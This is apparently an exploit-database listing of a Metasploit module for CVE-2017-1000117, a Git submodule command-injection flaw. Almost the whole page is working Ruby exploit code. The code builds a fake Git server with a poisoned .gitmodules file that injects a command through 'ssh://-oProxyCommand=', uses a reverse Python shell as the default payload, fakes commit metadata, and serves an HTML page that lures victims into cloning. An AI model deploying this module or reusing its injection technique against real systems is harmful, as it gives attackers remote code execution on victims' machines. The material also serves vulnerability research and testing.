Malicious GIT HTTP Server

2017.08.31
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117', 'Description' => %q( This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised. ), 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-1000117'], ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ] ], 'DisclosureDate' => 'Aug 10 2017', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'python' } } } ] ], 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_cmd = payload.encoded + " &" payload_cmd = Rex::Text.to_hex(payload_cmd, '%') submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = ssh://-oProxyCommand=#{payload_cmd}/ " sha1, content = build_object('blob', gitmodules) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" sha1, content = build_object('tree', tree) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content ## build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version user_agent = req.headers['User-Agent'] if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end


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